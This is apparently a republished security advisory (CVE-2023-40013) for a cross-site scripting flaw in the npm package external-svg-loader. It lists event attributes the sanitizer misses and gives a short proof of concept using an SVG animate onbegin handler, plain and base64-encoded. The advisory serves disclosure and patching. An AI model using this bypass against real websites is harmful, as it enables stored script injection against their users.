external-svg-loader Cross-site Scripting vulnerability
Summary
According to the docs, svg-loader will strip all JS code before injecting the SVG file for security reasons but the input sanitization logic is not sufficient and can be trivially bypassed. This allows an attacker to craft a malicious SVG which can result in XSS.
Details
When trying to sanitize the svg the lib removes event attributes such as onmouseover, onclick but the list of events is not exhaustive. Here's a list of events not removed by svg-loader.
onafterscriptexecute, onbeforecopy, onbeforecut, onbeforescriptexecute, onbeforetoggle, onbegin, onbounce, onend, onfinish, onfocusin, onfocusout, onmousewheel, onpointerrawupdate, onrepeat, onsearch, onshow, onstart, ontoggle(popover), ontouchend, ontouchmove, ontouchstart
As you can see in the POC we can use onbegin in animate tag to execute JS code without needing to add data-js="enabled".
PoC
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<animate onbegin=alert(1) attributeName=x dur=1s>
</svg><html>
<head>
<script src="./dist/svg-loader.js" type="text/javascript"></script>
</head>
<body>
<svg data-src="data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogIDxwb2x5Z29uIGlkPSJ0cmlhbmdsZSIgcG9pbnRzPSIwLDAgMCw1MCA1MCwwIiBmaWxsPSIjMDA5OTAwIiBzdHJva2U9IiMwMDQ0MDAiLz4KICA8YW5pbWF0ZSBvbmJlZ2luPWFsZXJ0KDEpIGF0dHJpYnV0ZU5hbWU9eCBkdXI9MXM+Cjwvc3ZnPgo="></svg>
</body>
</html>Impact
Any website which uses external-svg-loader and allows its users to provide svg src, upload svg files would be susceptible to stored XSS attack.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | external-svg-loader | < 1.6.9 | 1.6.9 |
Referencias
- https://github.com/shubhamjain/svg-loader/security/advisories/GHSA-xc2r-jf2x-gjr8
- https://nvd.nist.gov/vuln/detail/CVE-2023-40013
- https://github.com/shubhamjain/svg-loader/commit/d3562fc08497aec5f33eb82017fa1417b3319e2c
- https://github.com/shubhamjain/svg-loader
- https://github.com/shubhamjain/svg-loader/blob/main/svg-loader.js#L125-L128
- https://github.com/shubhamjain/svg-loader/tree/main#2-enable-javascript
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-79- Plataforma
- npm
- Paquete
external-svg-loader- Publicada
- 14.08.2023
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-xc2r-jf2x-gjr8 - CC BY 4.0
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